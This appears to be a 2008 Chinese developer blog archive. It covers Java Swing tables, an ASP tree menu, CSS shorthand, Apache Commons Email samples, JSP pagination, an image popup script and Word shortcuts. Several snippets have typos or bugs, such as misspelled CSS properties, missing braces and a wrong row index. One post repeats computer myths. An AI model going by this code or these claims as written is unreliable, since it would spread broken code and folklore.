    member.setTitle((String)tableModel.getValueAt(i, 2));// 取得第i行第三列的数据
   
    members.add(member);
}

return members;
}
五.取得用户所选的行
1) 取得用户所选的单行
int selectRows=table.getSelectedRows().length;// 取得用户所选行的行数
DefaultTableModel tableModel = (DefaultTableModel) table.getModel();

if(selectRows==1){
int selectedRowIndex = table.getSelectedRow(); // 取得用户所选单行

.// 进行相关处理
}
2) 取得用户所选的多行
int selectRows=table.getSelectedRows().length;// 取得用户所选行的行数
DefaultTableModel tableModel = (DefaultTableModel) table.getModel();

if(selectRows>1)
int[] selRowIndexs=table.getSelectedRows();// 用户所选行的序列

for(int i=0;i<selRowIndexs.length;i++){
    // 用tableModel.getValueAt(row, column)取单元格数据
    String cellValue=(String) tableModel.getValueAt(i, 1);
}
}
六.添加表格的事件处理
view.getTable().addMouseListener(new MouseListener() {
public void mousePressed(MouseEvent e) {
    // 鼠标按下时的处理
}

public void mouseReleased(MouseEvent e) {
    // 鼠标松开时的处理
}

public void mouseEntered(MouseEvent e) {
    // 鼠标进入表格时的处理
}

public void mouseExited(MouseEvent e) {
    // 鼠标退出表格时的处理
}

public void mouseClicked(MouseEvent e) {
    // 鼠标点击时的处理
}
});

posted @ 2008-07-29 17:54 jadmin 阅读(61) | 评论 (0)编辑 收藏

MAGIC #1:
         一个印度人发现的,没有人可以在电脑的任何地方建立一个名为"CON"的文件夹 。微软公司的全体职员没有一个人能解释这是为什么;
这个的解释是在Windows里不能以设备名来命名文件或文件夹,aux、com1、prn、con、nul等,这些都是系统保留的名称

MAGIC #2:
         在电脑上照着这个做:1.新建一个空的文本文档       2.在里面输入"Bush hid the facts"(不要引号,可复制进去)   3.关闭文档,再打开文档。 发生了什么?
         这个我在做的时候试过把Bush改成其他英文名字,结果就会有点点不一样,大家们探索一下吧!
这个就不知道了

MAGIC #3:
         这是最酷也是最不可思议的一个。。。打开一个新的Word,在里面输入=rand (200, 99) ,之后按Enter。。。。自己看吧@ 这个据说连比尔盖茨也解释不清楚@

posted @ 2008-06-26 19:17 jadmin 阅读(58) | 评论 (0)编辑 收藏

第一步: 准备工作,建立个tabedit.html
里面的内容很简单, 建立个5X5的表格, 代码如下:

posted @ 2008-06-25 23:05 jadmin 阅读(68) | 评论 (0)编辑 收藏
本程序有两文件test.asp 和tree.asp 还有一些图标文件。

1. test.asp 调用类生成树代码如下

<%@ Language=VBScript %>
<html>
<head>
<link rel="stylesheet" href="tree.css">
<title>tree</title>
</head>
<!-- #include file="tree.asp" -->
<%

'========================================
' BUILDING A TREE PROGRAMATICALLY
'========================================
' This approach would be best suited for building
' dynamic trees using For..Next loops and such.

Set MyTree2 = New Tree
MyTree2.Top = 10
MyTree2.Left = 10
MyTree2.ExpandImage = "plus.gif"
MyTree2.CollapseImage = "minus.gif"
MyTree2.LeafImage = "webpage.gif"

' Notice the indentation used to reprensent the hierarchy
Set Node1 = MyTree2.CreateChild("script")
Set SubNode1 = Node1.CreateChild("server")
Set secSubNode1 = SubNode1.CreateChild("html")
secSubNode1.CreateChild "<A HREF=""http://127.0.0.1/"">asp</A>"
secSubNode1.CreateChild "<A HREF=""http://127.0.0.1/"">php</A>"
secSubNode1.CreateChild "<A HREF=""http://127.0.0.1/"">jsp</A>"

Set SubNode2 = Node1.CreateChild("os")
SubNode2.CreateChild "<A HREF=""#"">winnt</A>"
SubNode2.CreateChild "<A HREF=""#"">win2000</A>"

Set Node2 = MyTree2.CreateChild("Desktop")
Node2.CreateChild "<A HREF=""#"">Area Code Lookup</A>"
Node2.CreateChild "<A HREF=""#"">Arin Based Whois Search</A>"
Node2.CreateChild "<A HREF=""#"">World Time Zone Map</A>"

MyTree2.Draw()

Set MyTree2 = Nothing

%>

</BODY>
</HTML>


2. tree.asp 类的定义 代码如下

<%

Dim gblTreeNodeCount:gblTreeNodeCount = 1

Class TreeNode

Public Value
Public ExpandImage
Public CollapseImage
Public LeafImage
Public Expanded
Private mszName
Private mcolChildren
Private mbChildrenInitialized

Public Property Get ChildCount()
ChildCount = mcolChildren.Count
End Property

Private Sub Class_Initialize()
mszName = "node" & CStr(gblTreeNodeCount)
gblTreeNodeCount = gblTreeNodeCount + 1

mbChildrenInitialized = False
Expanded = False
End Sub

Private Sub Class_Terminate()
If mbChildrenInitialized And IsObject(mcolChildren) Then
mcolChildren.RemoveAll()
Set mcolChildren = Nothing
End If
End Sub

Private Sub InitChildList()
Set mcolChildren = Server.CreateObject("Scripting.Dictionary")
mbChildrenInitialized = True
End Sub

Private Sub LoadState()
If Request(mszName) = "1" Or Request("togglenode") = mszName Then
Expanded = True
End If
End Sub

Public Function CreateChild(szValue)

If Not mbChildrenInitialized Then InitChildList()

Set CreateChild = New TreeNode
CreateChild.Value = szValue
CreateChild.ExpandImage = ExpandImage
CreateChild.CollapseImage = CollapseImage
CreateChild.LeafImage = LeafImage

mcolChildren.Add mcolChildren.Count + 1, CreateChild

End Function

Public Sub Draw()

LoadState()

Response.Write "<table border=""0"">" & vbCrLf
Response.Write "<tr><td>" & vbCrLf

If Expanded Then
Response.Write "<a href=""javascript:collapseNode('" & mszName & "')""><img src=""" & CollapseImage & """ border=""0""></a>" & vbCrLf
ElseIf Not mbChildrenInitialized Then
Response.Write "<img src=""" & LeafImage & """ border=0>" & vbCrLf
Else
Response.Write "<a href=""javascript:expandNode('" & mszName & "')""><img src=""" & ExpandImage & """ border=""0""></a>" & vbCrLf
End If

Response.Write "</td>" & vbCrLf
Response.Write "<td>" & Value & "</td></tr>" & vbCrLf

If Expanded Then
Response.Write "<input type=""hidden"" name=""" & mszName & """ value=""1"">" & vbCrLf

If mbChildrenInitialized Then
Response.Write "<tr><td> </td>" & vbCrLf
Response.Write "<td>" & vbCrLf

For Each ChildNode In mcolChildren.Items
ChildNode.Draw()
Next

Response.Write "</td>" & vbCrLf
Response.Write "</tr>" & vbCrLf
End If
End If

Response.Write "</table>" & vbCrLf

End Sub

End Class


Class Tree

Public Top
Public Left
Public ExpandImage
Public CollapseImage
Public LeafImage
Private mszPosition
Private mcolChildren

Public Property Let Absolute(bData)
If bData Then mszPosition = "absolute" Else mszPosition = "relative"
End Property

Public Property Get Absolute()
Absolute = CBool(mszPosition = "absolute")
End Property

Private Sub Class_Initialize()
Set mcolChildren = Server.CreateObject("Scripting.Dictionary")
mnTop = 0
mnLeft = 0
mszPosition = "absolute"
End Sub

Private Sub Class_Terminate()
mcolChildren.RemoveAll()
Set mcolChildren = Nothing
End Sub

Public Function CreateChild(szValue)

Set CreateChild = New TreeNode

CreateChild.Value = szValue
CreateChild.ExpandImage = ExpandImage
CreateChild.CollapseImage = CollapseImage
CreateChild.LeafImage = LeafImage

mcolChildren.Add mcolChildren.Count + 1, CreateChild

End Function

Public Sub LoadTemplate(szFileName)
Dim objWorkingNode
Dim colNodeStack
Dim fsObj, tsObj
Dim szLine
Dim nCurrDepth, nNextDepth

Set colNodeStack = Server.CreateObject("Scripting.Dictionary")
Set fsObj = CreateObject("Scripting.FileSystemObject")
Set tsObj = fsObj.OpenTextFile(szFileName, 1)

nCurrDepth = 0
While Not tsObj.AtEndOfLine
nNextDepth = 1
szLine = tsObj.ReadLine()

If nCurrDepth = 0 Then
Set objWorkingNode = CreateChild(Trim(szLine))
nCurrDepth = 1
Else
While Mid(szLine,nNextDepth,1) = vbTab Or Mid(szLine,nNextDepth,1) = " "
nNextDepth = nNextDepth + 1
WEnd

If nNextDepth > 1 Then szLine = Trim(Mid(szLine,nNextDepth))

If szLine <> "" Then
If nNextDepth > nCurrDepth Then
If colNodeStack.Exists(nCurrDepth) Then
Set colNodeStack.Item(nCurrDepth) = objWorkingNode
Else
colNodeStack.Add nCurrDepth, objWorkingNode
End If

Set objWorkingNode = objWorkingNode.CreateChild(szLine)

nCurrDepth = nCurrDepth + 1
ElseIf nNextDepth <= nCurrDepth Then

If nNextDepth > 1 Then

nNextDepth = nNextDepth - 1
While Not colNodeStack.Exists(nNextDepth) And nNextDepth > 1
nNextDepth = nNextDepth - 1
WEnd

Set objWorkingNode = colNodeStack.Item(nNextDepth)
Set objWorkingNode = objWorkingNode.CreateChild(szLine)

nNextDepth = nNextDepth + 1
Else
Set objWorkingNode = CreateChild(szLine)
End If

nCurrDepth = nNextDepth
End If
End If

End If
WEnd

tsObj.Close()
Set tsObj = Nothing
Set fsObj = Nothing

colNodeStack.RemoveAll()
Set colNodeStack = Nothing

End Sub


Public Sub Draw()

AddClientScript()

Response.Write "<div id=""treectrl"" style=""left: " & Left & "px; top: " & Top & "px; position: " & mszPosition & ";"">" & vbCrLf
Response.Write "<form name=""treectrlfrm"" action=""" & Request.ServerVariables("SCRIPT_NAME") & """ method=""get"">" & vbCrLf
Response.Write "<table border=""0"">" & vbCrLf
Response.Write "<tr><td>" & vbCrLf

For Each ChildNode In mcolChildren.Items
ChildNode.Draw()
Next

Response.Write "</td></tr>" & vbCrLf
Response.Write "</table>" & vbCrLf

Response.Write "<input type=""hidden"" name=""togglenode"" value="""">" & vbCrLf
Response.Write "</form>" & vbCrLf
Response.Write "</div>" & vbCrLf

End Sub

Private Sub AddClientScript()
%>
<script language="JavaScript">

function expandNode(szNodeName)
{
if(document.layers != null) {
document.treectrl.document.treectrlfrm.togglenode.value = szNodeName;
document.treectrl.document.treectrlfrm.submit();
}
else {
document.all["treectrlfrm"].togglenode.value = szNodeName;
document.all["treectrlfrm"].submit();
}
}

function collapseNode(szNodeName)
{
if(document.layers != null) {
document.treectrl.document.treectrlfrm.elements[szNodeName].value = -1;
document.treectrl.document.treectrlfrm.submit();
}
else {
document.treectrlfrm.elements[szNodeName].value = -1;
document.treectrlfrm.submit();
}
}

</script>
<%
End Sub

End Class

%>
posted @ 2008-06-23 15:04 jadmin 阅读(98) | 评论 (0)编辑 收藏
  尽管对于现如今的带宽来说,网页文件那仅以K来算的大小实在是微不足道,但如何将这以K来计算的网页文件精简到最小还是网页设计师们所应该考虑的问题之一。

  众所周之,在不影响整个网页构架与功能的情况下,网页文件越小越好,因为更小的网页文件有利于浏览器对网页的解释时间缩到更短,自然访客也就不用面临等待网页缓慢呈现的烦躁了,这一点对于那些带宽少网速慢的用户犹为明显。试想一下,你会是希望打开一个网站的时候整个站点马上呈现在你面前呢?还是喜欢花上十几秒甚至是几分钏来看整个站点一点一点的被浏览器解释出来呢?

  在Table布局的时代,代码无数次的随着表格在页面里重复,致使整个网页文件变得臃肿无比,代码的可读性也降到最低,浏览器的解释时间自然也增加了不少。而自从DIV+CSS的布局替代Table布局之后,这一切都得到了极大的改善,让Table回归到它原本用于显示数据的位置上去,而布局就交给DIV+CSS来做,这样代码的可读性与复用性都得到了提高,而DIV +CSS更为重要的一点就是将网页文件的表现与结构区分开来,再也不用为了表现而去改动整个网页文件的结构了。

  即使DIV+CSS的布局方式将以前Table布局时代码的臃肿降到了最低,但对于网页设计师来说,如何将网页文件的大小控制到最小是永远值得探索和追求的一个问题。

  看如下一段代码:

  #header {
   margin-top:10px;
   margin-right:15px;
   margin-bottom:10px;
   margin-left:15px;
   backgroung-color:#333333;
   background-images:url(Images/header.jpg);
   }


  这样的一段CSS代码,在条理上很清晰,结构也很明了,可读性很强,可是这样的一段代码却没有做精简,也就是说它是最原始的CSS代码,下面看精简后的代码:

  #header {
   margin:10px 15px;
   backgroung:#333 url(Images/header.jpg);
   }


  在CSS中有复合属性这一说法,也就是说可以将很多属性参数整合在一起的,比如说上面的“margin-top; margin-right; margin-bottom; margin-left;”可以整合成一个“margin”属性,然后为其配上参数。
  

  通过这一点,我们就可以在原始CSS代码的基本上将代码进一步的精简。而且这样写的结构也合理,可读性也同样强。可是对于要精简到彻底来说,这还不够。为了让这段CSS代码的结构明了,我们用上了空格换行等占用空间的东西,如果将这些占用空间的去掉呢?

  #header{margin:10px 15px;background:#333 url(Images/header.jpg);}


  只这一句就替代了上面的一段代码,这样代码就已经精简到了最大化,当然,并不推荐所有人都这样写,这样写的CSS代码在可读性上要远远差于段落式的写法,除非你对自己写的代码有完全掌握的信心。

  在同一个站点的CSS文件中,不可避免的会出现不同的ID或Class却有一部分相同的属性,如果将这些ID或Class逐个分开来写的话,在CSS文件里无疑会生成重复代码,而我们要尽量的精简CSS文件的大小,那么“消灭”这部分重复的代码就变得势在必行。
  

  看下面一段CSS代码:

  #header{margin:10px 15px;background:#333 url(Images/header.jpg);}
  #content{margin:10px 15px;padding:10px;background:#999;}
  #copyright{margin:10px 15px;border:1px solid #f00;}


  在上面的三个ID中都有一个相同的属性“margin:10px 15px;”,如果就这样分开来写的话,这三个ID之间将保持各自独立的关系,但却生成了重复的代码,而我们可以将其写成如下格式:

  #header,#content,#copyright{margin:10px 15px;}
  #header{background:#333 url(Images/header.jpg);}
  #content{padding:10px;background:#999;}
  #copyright{border:1px solid #f00;}



  将上面的ID换成Class也是一样的。这样写我们就成功的将重复代码“消灭”掉了。但是如果这里具有相同的属性的ID或Class过多的话,难免会造成代码可读性降到很低很低,所以除此之外当具有相同属性的都是Class时还有另外的一种写法:


  .main{margin:10px 15px;}
  .header{background:#333 url(Images/header.jpg);}
  .content{padding:10px;background:#999;}
  .copyright{border:1px solid #f00;}


  当然这种写法时,调用时的写法也与平常不一样。



  这样的写法同样可以达到效果,并且也不会再怕具有相同属性的Class多而造成代码可读性差的问题,但值得注意的一点就是,这种写法对于ID是无效的,不管其中是存在一个ID或者全部都是ID,都将造成这段代码的无效。
posted @ 2008-06-23 15:01 jadmin 阅读(69) | 评论 (0)编辑 收藏
css对文字的布局上没有靠容器底部对齐的参数,目前使用的一个不错的方法也比较好.就是用position属性来解决,看下面的代码,用position的相对和绝对定位功能也轻松的实现了,文字靠近div低部对齐,并且靠近的距离还可以精确到像素,自己可以调节,是不是很不错呢?

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>无标题文档</title>
<style type="text/css">
#txt{

height:300px;
width:300px;
border:1px solid #333333;
text-align:center;
position:relative

}
#txt p{
position:absolute;
bottom:0px;
padding:0px;
margin:0px
}
</style>
</head>

<body>
<div id=txt>
<p>aadsad</p>
</div>
</body>
</html>

posted @ 2008-06-23 15:00 jadmin 阅读(92) | 评论 (0)编辑 收藏

apache的commons项目下有个email子项目,它对JavaMail API进行了封装,用起来特变方便。在开始之前,需要做以下准备:

1、JavaMail API

添加JavaMail API里的mail包到CLASSPATH里,JavaMail API下载地址:http://java.sun.com/products/javamail/downloads/index.html

2、commons email

下载地址:http://www.apache.org/dist/commons/email/

工程目录结构如下:

以下给出两个简单示例程序

// SendMail.java 使用SimpleEmail发邮件

package com.apache.commons.email.demo;

import org.apache.commons.mail.SimpleEmail;

public class SendMail
{
    public static void main ( String[] arg ) throws Exception
    {
    // 使用SimpleEmail对于中文内容,可能会产生乱码
        SimpleEmail email = new SimpleEmail ( );

        // SMTP服务器名
        email.setHostName ( "smtp.163.com" );
        // 登陆邮件服务器的用户名和密码
        email.setAuthentication ( "peki", "123456" );
        // 接收人
        email.addTo ( "jstio@qq.com", "曦勤" );
        // 发送人
        email.setFrom ( "peki@163.com", "小陈" );
        // 标题
        email.setSubject ( "Test message" );
        // 邮件内容
        email.setMsg ( "This is a simple test of commons-email<br>我是小陈" );
        // 发送
        email.send ( );
       
        System.out.println ( "Send email successful!" );

    }
}

收信结果如下:

This is a simple test of commons-email<br>????

有乱码产生,并且html内容没有正常显示

// MailSender.java   使用HtmlEmail发邮件

package com.apache.commons.email.demo;

import org.apache.commons.mail.EmailException;
import org.apache.commons.mail.HtmlEmail;

public class MailSender {


public static void main(String[] args) {
   // 不要使用SimpleEmail,会出现乱码问题
   HtmlEmail email = new HtmlEmail();
   try {
    // 这里是SMTP发送服务器的名字:,163的如下:
    email.setHostName("smtp.163.com");
    // 字符编码集的设置
    email.setCharset("gbk");
    // 收件人的邮箱
    email.addTo("jstio@qq.com");
    // 发送人的邮箱
    email.setFrom("peki@163.com", "小陈");
    // 如果需要认证信息的话,设置认证:用户名-密码。分别为发件人在邮件服务器上的注册名称和密码
    email.setAuthentication("peki", "123456");
    email.setSubject("下午3:00会议室讨论,请准时参加");
    // 要发送的信息,由于使用了HtmlEmail,可以在邮件内容中使用HTML标签
    email.setMsg("下午3:00会议室讨论,请准时参加<BR>呵呵~!");
    // 发送
    email.send();
   
    System.out.println ( "邮件发送成功!" );
   } catch (EmailException e) {
    // TODO Auto-generated catch block
    e.printStackTrace();
    System.out.println ( "邮件发送失败!" );
   }

}

}

收信结果如下:

下午3:00会议室讨论,请准时参加
呵呵~!
没有产生乱码,html内容正常显示
以上程序尽供参考,如需要在开发中使用,还得深入研究
posted @ 2008-06-21 22:12 jadmin 阅读(3445) | 评论 (0)编辑 收藏

1、我们在做验证码的时候往往由于要反作弊,验证有时故意加入多的干扰因素,这时验证码显示不很清楚,用户经常输入错误。这样不但要重新刷新页面,导致用户没有看清楚验证码而重填而不是修改,而且如果没有用session保存下用户输入的其它数据的话(如姓名),用户刚刚输入的内容也不存在了,这样给用户造成不好的体验。

2、本例在原有验证方式基础之上增加一段js,通过xmlhttp来获取返回值,以此来验证是否有效,这样即使用户浏览器不支持js,也不会影响他的正常使用了。

3、为了防止作弊,当用户连接3次输入错误时则重载一下图片,这样也利于用户因为图片上的验证码辨认不清而使其终无法输入正确。

4、本例还特别适合检验用户名是否有效,只要从后台做个sql查询,返回一个值或是xml即可。(这种例子太多 ,就在此不赘述了)。

5、本例的优点在于非常方便用户输入,而且减少对服务器端的请求,可以说既改善用户体验而且略会节省带宽成本,但相应地要在页面上增加一段JavaScript代码,在目前网速越来越快人们要求便捷舒适的今天,似乎我们更应注意提供给用户良好的使用感受。

代码如下:

1、img.jsp,输入主页面

posted @ 2008-06-18 21:29 jadmin 阅读(175) | 评论 (1)编辑 收藏

JSP分页共设计了三个类:SplitPageVo 、PageVo、SqlVo

以上三个类请参考本博客的

JSP分页类一:SplitPageVo       JSP分页类二:SqlVo          JSP分页类三:PageVo

三篇文章

核心为一条SQL语句:

SELECT * FROM              

             (SELECT TOP 每页显示条数 * FROM

                     (SELECT TOP 每页显示数量x当前页 * FROM 表名)    表变量1

                             ORDER BY 排序字段 DESC)   表变量2

                                         ORDER BY   排序字段

如:

SELECT * FROM

              (SELECT TOP 10 * FROM

                           (SELECT TOP 3x10 * FROM shop) x

                                     ORDER BY id DESC) y

                                                   ORDER BY id

使用简要说明:

//********************************************使~~~~用~~~~说~~~~明*****************************************
/**
...............................................................
在SERVELET里:
第一步:获取当前页码
if(request.getParameter("page")!=null){
    page=Integer.parseInt(request.getParameter("page"));
    }else{
    page=1 ;
   }
第二步:创建跳转对象
    SplitPageVo vo=new SplitPageVo()
第三步:设置SQL语句SqlVo,URL,当前页面page
    vo.setPageVo(page,10);
    vo.setSqlVo("shop", "1=1", "id", "asc")
    vo.setUrl("/servlet/Shop.do?action=0")
第四步:传入BIZ
    TransOrderBiz biz=new TransOrderBiz()
    vo=biz.getAllOrders(vo)
第五步:页面转向
request.setAttribute("OrderList",vo);
url="/tpl/tplproject/OrderList.jsp";
request.getRequestDispatcher(url).forward(request,response);
..................................................................
在BIZ里:
public class TransOrderBiz {
public SplitPageVo getAllOrders(SplitPageVo vo){
DBConnection dbc = new DBConnection();
if(dbc.getConnect()){
   Connection conn = dbc.getConn();
   try{
   BU_TRANS_ORDERDAO dao=new BU_TRANS_ORDERDAO();
   vo=dao.findByAll(conn);
   }catch(Exception e){
    e.printStackTrace();
   }finally{
    try{
     conn.close();
    }catch(Exception ex){
     ex.printStackTrace();
    }
   }
}else{
   System.out.println("数据库连接失败!");
}
return vo;
}
}

..................................................................
在DAO里:
public SplitPageVo findByAll(Connection conn ,SplitPageVo vo){
    Vector v=new Vector();
    StringBuffer sqlStr = null;
    PreparedStatement ps=null;
    Connection _conn=null;
    ResultSet rs=null;
    try{
     _conn=conn;
     $$$$$$$$$$$$$$$$$$$$$$$$$~~核~~心~~部~~分~~$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
      vo.getCount(_conn)//获取条数
     vo.setPageVo(vo.getPageVo().getNowPage(),vo.getPageVo().getCount(),vo.getPageVo().getPreList())//设置PageVo
     int top1 = vo.getTop1();
     int top2 = vo.getTop2();
     String strSql=vo.getSqlVo().toAllSql(top1,top2)//取出SQL语句
     $$$$$$$$$$$$$$$$$$$$$$$$$$~~核~~心~~部~~分~~$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
     ps=_conn.prepareStatement(strSql);
     rs=ps.executeQuery();
     while(rs.next()){
      BU_TRANS_ORDERVO vo=new BU_TRANS_ORDERVO();
      vo.setTO_ID(rs.getLong("TO_ID"));
                   。。。。。。。。。。。。。。。。。
                   。。。。。。。。。。。。。。。。。
                   。。。。。。。。。。。。。。。。。
      vo.setTO_PRICE(rs.getDouble("TO_PRICE"));
      v.addElement(vo);
     }
     vo.setData(v)//放入数据
    }
    catch(Exception e){
     e.printStackTrace();
    }
    finally{
     try{
      if (ps!=null){
       ps.close();
       ps=null;
      }
     
     }catch(Exception e){
      e.printStackTrace();
     }
    }
    return vo;//返回
   }

   ................................................................................
   在JSP里:
   SplitPageVo splitPageVo;
   splitPageVo=(SplitPageVo)request.getAttribute("OrderList");
   List l=splitPageVo.getData();
   if(l!=null && l.size()>0 ){
   for(int i=0;i<l.size() && i<l.size() ;i++){
   ComplOrderVo vo=(ComplOrderVo)l.get(i);
            。。。。。。。。。。。。。。。。。。。
            。。。。。。。。。。。。。。。。。。。
            。。。。。。。。。。。。。。。。。。。
   }
            。。。。。。。。。。。。。。。。。。。
            。。。。。。。。。。。。。。。。。。。
            。。。。。。。。。。。。。。。。。。。
    <td >
<%=splitPageVo.splitPage(splitPageVo)%> //分页部分
</td>
         。。。。。。。。。。。。。。。。。。。
            。。。。。。。。。。。。。。。。。。。
            。。。。。。。。。。。。。。。。。。。
   ................................................................................
*/

posted @ 2008-06-18 15:48 jadmin 阅读(48) | 评论 (0)编辑 收藏
很多时候我们需要提供这样的功能给访问者:当访问者点击页面中的缩略图时,其对应的全尺寸图片将显示在一个新的弹出窗口中供访问者查看。

实现此功能的最简单作法是用以下HTML代码创建一个图像链接:
<a href="fullsize.jpg" target="_blank"><img src="small.jpg"></a>
其中<a>标记的href属性指定全尺寸图片的URL,target属性设置为_blank指定在新窗口中显示该图片;<img>标记的src属性指定缩略图的URL。

如果我们想对显示全尺寸图片的窗口的外观进行某些控制(比如希望弹出窗口的高度、宽度能与全尺寸图片的大小匹配时),则可调用 window.open 方法,该方法接收三个参数,分别指定要打开文件的URL,窗口名及窗口特性,在窗口特性参数中可指定窗口的高度、宽度,是否显示菜单栏、工具栏等。以下代码将显示全尺寸图片在一个没有工具栏、地址栏、状态栏、菜单栏,宽、高分别为400、350的窗口中:
<a href="fullsize.jpg"
onClick="window.open(this.href,'', 'height=350,width=400,toolbar=no,location=no,
status=no,menubar=no');return false"><img src="small.jpg"></a>

这里就提出了个问题,如果所有全尺寸图片都具有统一的大小(比如都是400x350),那么以上代码适用于所有的缩略图片链接(只是href属性指向的全尺寸图片文件不同)。但如果全尺寸图片的大小并不统一,还用以上代码则我们需要先取得每幅全尺寸图片的大小,然后在window.open方法的窗口特性参数中一一设置height和width为正确的值,在图片数量较多的情况下,这显然效率太低了。那么是否有一劳永逸的方法,即让弹出窗口能自动适应要显示图片的大小?通过研究,发现可以使用 DHTML 中的 Image 对象来达到我们的目的,Image 对象可动态装载指定的图片,通过读取其 width 和 height 属性即能获得装入图片的大小,以此来设置弹出窗口的大小,即可实现自适应图片大小的弹出窗口了。下面即是实现代码:

<script language="JavaScript" type="text/JavaScript">
<!--
var imgObj;
function checkImg(theURL,winName){
  
// 对象是否已创建
  if (typeof(imgObj) == "object"){
    
// 是否已取得了图像的高度和宽度
    if ((imgObj.width != 0) && (imgObj.height != 0))
      
// 根据取得的图像高度和宽度设置弹出窗口的高度与宽度,并打开该窗口
      // 其中的增量 20 和 30 是设置的窗口边框与图片间的间隔量
       OpenFullSizeWindow(theURL,winName, ",width=" + (imgObj.width+20) + ",height=" + (imgObj.height+30));
    
else
      
// 因为通过 Image 对象动态装载图片,不可能立即得到图片的宽度和高度,所以每隔100毫秒重复调用检查
       setTimeout("checkImg('" + theURL + "','" + winName + "')", 100)
   }
}

function OpenFullSizeWindow(theURL,winName,features) {
  
var aNewWin, sBaseCmd;
  
// 弹出窗口外观参数
   sBaseCmd = "toolbar=no,location=no,status=no,menubar=no,scrollbars=no,resizable=no,";
  
// 调用是否来自 checkImg
  if (features == null || features == ""){
    
// 创建图像对象
     imgObj = new Image();
    
// 设置图像源
     imgObj.src = theURL;
    
// 开始获取图像大小
     checkImg(theURL, winName)
   }
  
else{
    
// 打开窗口
     aNewWin = window.open(theURL,winName, sBaseCmd + features);
    
// 聚焦窗口
     aNewWin.focus();
   }
}
//-->
</script>


使用时将上面的代码放在网页文档的<head></head>标记对中,然后在链接的点击事件中调用 OpenFullSizeWindow函数,如<a href="fullsize.jpg" onClick= "OpenFullSizeWindow(this.href,'','');return false"><img src="small.jpg"> </a>即可。
以上代码在IE 5.x-6.0中测试通过。
posted @ 2008-06-07 02:12 jadmin 阅读(80) | 评论 (0)编辑 收藏

把文字替换成图片
首先把图片复制到 剪贴板中,然后打开替换对话框,在“查找内容”框中输入将被替换的文字,接着在 “替换为”框中输入“^c”(注意:输入的一定要是半角字符,c要小写),单击替换 即可。说明:“^c”的意思就是指令Word XP以剪贴板中的内容替换“查找内容”框中的内 容。按此原理,“^c”还可替换包括回车符在内的任何可以复制到剪贴板的可视内容,甚至Excel表格。

三招去掉页眉那条横线
1、在页眉中,在“格式”-“边框和底纹”中设置表格和边框为“无”,应用于“段落”
2、同上,只是把边框的颜色设置为白色(其实并没有删的,只是看起来没有了,呵呵)
3、在“样式”栏里把“页眉”换成“正文”就行了——强烈推荐!
会多出--(两个横杠) 这是用户不愿看到的,又要多出一步作删除--
解决方法:替换时在前引号前加上一个空格 问题就解决了

插入日期和时间的快捷键
Alt+Shift+D:当前日期
Alt+Shift+T:当前时间

批量转换全角字符为半角字符
首先全选。然后“格式”→“更改大小写”,在对话框中先选中“半角”,确定即可


Word启动参数简介
单击“开始→运行”命令,然后输入Word所在路径及参数确定即可运行,如“C:\ PROGRAM FILES \MICROSOFT Office \Office 10\ WINWord.EXE /n”,这些常用的参数及功能如下:
/n:启动Word后不创建新的文件。
/a:禁止插件和通用模板自动启动。
/m:禁止自动执行的宏。
/w:启动一个新Word进程,独立与正在运行的Word进程。
/c:启动Word,然后调用Netmeeting。
/q:不显示启动画面。
另外对于常需用到的参数,我们可以在Word的快捷图标上单击鼠标右键,然后在“目标”项的路径后加上该参数即可。

快速打开最后编辑的文档
如果你希望Word在启动时能自动打开你上次编辑的文档,可以用简单的宏命令来完成:
(1)选择“工具”菜单中的“宏”菜单项,单击“录制新宏”命令打开“录制宏”对话框;
(2)在“录制宏”对话框中,在“宏名”输入框中输入“autoexec”,点击“确定”;
(3)从菜单中选择“文件”,点击最近打开文件列表中显示的第一个文件名;并“停止录制”。保存退出。下次再启动Word时,它会自动加载你工作的最后一个文档。

格式刷的使用
1、设定好文本1的格式。
2、将光标放在文本1处。
3、单击格式刷按钮。
4、选定其它文字(文本2),则文本2的格式与文本1 一样。
若在第3步中单击改为双击,则格式刷可无限次使用,直到再次单击格式刷(或按Esc键)为止。

删除网上下载资料的换行符(象这种“↓”)
在查找框内输入半角^l(是英文状态下的小写L不是数字1),在替换框内不输任何内容,单击全部替换,就把大量换行符删掉啦。

选择性删除文件菜单下的最近使用的文件快捷方式。
工具→选项→常规把“列出最近使用文件数改为0”可以全部删除,若要选择性删除,可以按ctrl+Alt+ -三个键,光标变为一个粗减号后,单击文件,再单击要删除的快捷方式就行了。

建立一个矩形选区:
一般的选区建立可用鼠标左键,或用shift键配合pgup、pgdn、home、end、箭头等功能键,当复制一个规则的矩形区域时,可先按住Alt键,然后用鼠标左键来选。我一般用此来删除段首多余的成块的空格。大家试一试*^_^*

将字体快速改为上标或下标的方法:
本人在一次无意间发现了这个方法,选定你要下标的字,然后在英文状态下按住Ctrl,再按一下BASKSPACE旁的+/=的键,就可以了。上标只要在按Ctrl的同时也按住Shift,大家可以试试。

让Word表格快速一分为二
将光标定位在分开的表格某个位置上,按下“Ctrl+Shift+Enter”组合键。这时你就会发现表格中间自动插入一个空行,这样就达到了将一个表格一分为二的目的。

用Word来拆字
首先点击“工具/自定义/命令/分解图片”,按住鼠标左键把它拖放到工具栏任意位置即可;然后点击“插入/图片/艺术字”,例如输入空心字“心”,选择该“心”字剪切,在选择性粘贴中选图片(Windows图元文件),选中该字,点击工具栏中的“分解图片”按钮,这样可以选择“心”中的任意笔画进行一笔一画的拆分了。

快速删除段前段后的任意多个空格
选定这些段段落,单击居中按钮,然后再单击原来的那种对齐方式按钮(如果原来是居中对齐的,先单击其它对齐方式按钮,再单击居中按钮就行了),是不是这些空格全不见了?


只要打开WORD新建一个空文档的时候,出现的不是空的文档,而是我以前打的一份文档
首先:将资源管理器设置为显示所有文件和文件夹;
然后:
C:\Documents and Settings\Administrator\Application Data\Microsoft\Templates文件夹下将所有Normal.doc文件删掉;
然后:OK(XP系统)

快速输入平方的方法
先输入2,然后选重后,按ctrl加shift加+就可以了.

WORD中表格的选择性录入
1.设置好表格,选定表格-视图-工具-窗体-插入下拉型窗体域
2.输入数据,完成
3.点击锁按钮,保护,输入完后再点击进行其它的输入.

标点符号的全角/半的转换用:Ctrl+.
数字字母的全角/半的转换用:Shift+空格

轻松了解工具栏按钮的作用
按下“shift+F1”键,鼠标指针旁多了一个“?”号,想知道哪个按钮
的作用,就用鼠标单击哪个。

要经常在文档中插入自己公司的信息
公司名称
公司住址
